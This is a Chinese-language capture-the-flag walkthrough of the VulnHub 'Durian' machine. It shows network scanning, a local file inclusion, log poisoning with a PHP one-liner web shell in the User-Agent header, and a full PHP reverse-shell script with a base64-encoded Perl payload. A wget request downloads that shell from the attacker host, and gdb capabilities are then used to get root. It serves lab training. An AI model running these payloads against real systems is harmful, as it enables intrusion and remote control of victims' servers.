1.靶机部署
kali安装:https://blog.csdn.net/l2872253606/article/details/123592717?spm=1001.2014.3001.5502
靶机下载:https://download.vulnhub.com/durian/Durian.ova
得到三个文件,稍后需要打开的shi.ovf的文件:
使用VMware打开该文件:
设置好名称和虚拟机位置:
注意:导入过程中可能会提示导入失败,点击重试即可。
虚拟机的基本设置:
导入成功,打开虚拟机,到此虚拟机部署完成!
注意:靶机的网络连接模式必须和kali一直,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机。
2.信息收集
2.1 探测IP
2.1.1 内网版
(1)使用netdiscover命令扫描同一个段内存活的IP和Mac地址,然后与靶机的Mac地址比较,即可得到靶机的真实IP。
netdiscover
命令详解:https://blog.csdn.net/u010698107/article/details/115288643
(2)也可以使用arp-scan -l扫描同一个段存活的IP,原理跟上面一样。
arp-scan -l
命令详解:https://blog.csdn.net/liver100day/article/details/117560828
2.1.2 真是生产环境版
但在真实的生产开发环境中,我们无法知道测试主机的Mac地址,所以我们就要对所有存活的IP进行分享,分析其端口,服务等信息:
使用nmap扫描同一个段下存活的IP
nmap 192.168.11.0/24
命令详解:https://blog.csdn.net/Kris__zhang/article/details/106841466
发现156开启了8000端口,服务为http,通过浏览器访问确实是我们的靶机!
2.2 详细信息扫描
然后对目标主机进行信息收集!
使用nmap对靶机开放的端口和服务进行更详细的扫描:
nmap -A -T4 -p- 192.168.11.156
2.3 敏感目录
dirsearch -u 192.168.11.156 -e *
2.4 指纹收集
whatweb -v 192.168.11.156
2.5 二次目录扫描
在对其进行详细的端口扫描时,发现他还开启了了8088端口,运行的服务是radan-http,不知道是什么,对这个端口进行一下敏感目录扫描试试:
跟第一次扫描一样,只不过这次加了端口:
dirsearch -u 192.168.11.156:8088 -e *
2.6 三次敏感目录扫描
刚刚对默认的80端口,还有8088端口进行了敏感目录扫描,现在再看一下开放http的8000端口有没有什么敏感目录:
果然,什么都没有!!!
如果这样你就放弃了没那你可能就不适合干渗透测试:
换个工具,使用dirb扫描一下,发现新大陆:
dirb http://192.168.11.156:8000
3.渗透过程
3.1 漏洞发现
信息收集大概就这样了,然后我们试试扫描的结果,从敏感目录开始:
3.1.1 访问第一次扫描出来的目录
这里我只演示可以访问的目录,访问不了或者没东西的目录就不往出贴了:
访问之后发现下载了一个文件,打开看看:
没看懂这一大段代码是干啥的,但有个wordpress我认识,先记下来:
3.1.2 访问第二次扫描出来的目录
同理,这里无效的目录我就不往出贴了,感兴趣的自己可以看看:
看到了了一个网站中间件,我查找了一下,这个中间件是存在漏洞的,但是是提升权限的,这里我还是什么都没有,很明显用不了:
然后访问一下这个目录:
这里只要是状态码是200都是可达的,大家都可以试试:
这里人家也说了,这是一个测试文件的接口,不是上传文件的:
3.1.3 访问第三次扫描出来的目录
他说403不可达,这里解释一下403错误:
403错误是一种在网站访问过程中,常见的错误提示,表示资源不可用。服务器理解客户的请求,但拒绝处理它,通常由于服务器上文件或目录的权限设置导致的WEB访问错误。
在这里意思就是:这个目录下面有东西,但是我们没有权限访问。
正当我绞尽脑汁想怎么绕过、怎么换端口访问的时候,下意识尝试了一下不加端口访问,发现可以访问了:
后续尝试了一下不加端口就单纯的扫IP地址也是可以扫出来这个目录的,那这就说明了另一个问题那就是虽然80端口我们在扫描端口的时候没有扫出来,但是实际上它是开启的状态要不我们也不能扫IP地址对吧!
发现一个php文件,点进去发现只有两个符号,这什么意思?看看源码……吃鲸,这是什么?这不就是传说中的文件包含吗?
3.2 文件包含漏洞
发现了文件包含漏洞,试一试能不能用,查看一下敏感文件:
http://192.168.11.156/cgi-data/getImage.php?file=/etc/passwd
3.3 渗透思路
到这里我们大概了解了这个网站的大概体系,linux系统部署(假装是真实生产环境,我们不知道对方的主机类型),有文件包含漏洞,也就是可以远程执行文件,接下来我们可以想办法写入一个后门,然后利用文件包含去执行这个后门脚本。写入后门最常用的就是日志文件,什么SSH登录日志啊,服务器访问日志文件啊之类的,比如SSH日志文件,只要用一句话木马作为用户名登录就可以将用户名,也就是我们的一句话木马写入,然后再利用远程文件包含去执行就可以,下面渗透思路大概就是这样!
3.4 写入后门
经过一番周折,通过文件包含遍历目录、暴力破解等一系列手段最后发现一个可以用的日志文件,是一个服务器访问日志文件,过程曲折,就不贴了,目录位置:
/var/log/durain.log/access.log
3.5 http头部UA字段后门注入
User-Agent普及:
User-Agent:是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。用较为普通的一点来说,是一种向访问网站提供客户所使用的浏览器类型、操作系统及版本、CPU 类型、浏览器渲染引擎、浏览器语言、浏览器插件等信息的标识。UA字符串在每次浏览器 HTTP 请求时发送到服务器!
浏览器UA 字串的标准格式为: 浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 、渲染引擎标识、 版本信息。
使用bp抓包:
再UA位置注入一句话木马:
<?php system($_GET['cmd']); ?>
拼接的id命令已执行:
后续尝试了蚁剑连接,但是不可以,这里就不往外贴了,丢人,应该是后门代码没有执行,然后我在看别的大佬的wp的时候就在想人家为什么是写入和访问一起呢?为什么不能先写入再执行呢?然后跟着大佬的步伐尝试了一下:
果然,这边什么都没有,应该是目录限制了php代码的执行,就好像咱们平时打开一个软件的时候不能执行一样!
既然如此,那咱们就只能另寻他路……
说两句:
到这里我简单说两句,虽然咱们一路上走了很多弯路,遇到了很多错误,但是咱们在不断的尝试,不断地使用新的方法,咱们的目的不是把这个靶机做出来,而是通过靶机学到东西,希望看到这篇帖子的新手,可以了解和知道更多的手段,经验和思路,这才是我们打靶机的目的。如果嫌麻烦可以直接看下面真确的结果。下面咱们继续!
3.6 getshell
既然UA注入无法实现,那咱们就通过命令执行远程下载一个反弹shell文件,然后在下载的同时执行这个文件,从而达到反弹shell的目的:
首先在kali里面新建一个反弹shell的脚本:
使用前记得修改端口和IP!
<?php
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.11.128";
$yourport = '4444';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>
kali搭建http服务:
python3 -m http.server 80
bp抓包,然后使用文件包含漏洞下载这个文件:
命令贴下面了,不想敲了就直接粘贴。
GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=wget+http://192.168.11.128/shell.php+-O+../blog/shell.php
#####
后面UA字段别忘了后面代码
<?php system($_GET['cmd']); ?>
###
整个http头只需要改这两个字段 一个是cmd后面的下载地址以及下载到网站的../blog/shell
另一个就是UA字段别忘了后门代码
kali端可以看到已经传输成功:
然后使用文件包含漏洞执行这个脚本即可,记得kali开启监听:
nc -lnvp 4444
bp抓包执行:
GET /cgi-data/getImage.php?file=/var/log/durian.log/access.log&cmd=php+…/blog/shell.php HTTP/1.1
反弹成功:
生成交互式shell:
python3 -c “import pty;pty.spawn(‘/bin/bash’)”
3.7 提权
3.7.1 查看权限
查看有什么权限,你别说这命令是真好用!发现两个文件具有root权限:
sudo -l
3.7.2 查看特权操作
getcap -r / 2>/dev/null
#######
getcap:查看可执行文件获取的内核权限
r :代表顶层目录
2>/dev/null的意思就是将标准错误stderr删掉
这里呢就不得不说一下getcap了:
Linux是一种安全操作系统,它给普通用户尽可能低的权限,而把全部的系统权限赋予一个单一的帐户–root。root帐户用来管理系统、安装软件、管理帐户、运行某些服务、安装/卸载文件系统、管理用户、安装软件等。另外,普通用户的很多操作也需要root权限,这通过setuid实现。这种依赖单一帐户执行特权操作的方式加大了系统的面临风险,而需要root权限的程序可能只是为了一个单一的操作,例如:绑定到特权端口、打开一个只有root权限可以访问的文件。某些程序可能有安全漏洞,而如果程序不是以root的权限运行,其存在的漏洞就不可能对系统造成什么威胁。
Capabilities机制,是在Linux内核2.2之后引入的。它将root用户的权限细分为不同的领域,可以分别启用或禁用。从而,在实际进行特权操作时,如果euid不是root,便会检查是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。
Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。
- libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。
- libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。
到这里大概懂了吧?
什么?没懂?简单说就是:使用getcap命令,我们可以看到ping文件的capabilities:
# getcap /bin/ping
/bin/ping = cap_net_raw+ep
再不懂就自己去查吧!!!
3.7.3 提权
发现有gdb,那么咱们可以使用这个来提权:
说明:https://www.cnblogs.com/f-carey/p/16026088.html#tid-HnbJCZ
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
简单介绍一下:
gdb:简单理解就是可以启动程序并且按照自己的自定义随心所欲的运行程序
-nx:不要从任何.gdbinit初始化文件执行命令
-ex:执行给定的GDB命令
简单理解就是首先利用gdb的权限去执行命令:命令的作用是利用python 设置一个uid为0(那就是root嘛)的shell
提权成功!!!
夺旗!!!
这个旗子一点都不好看!!!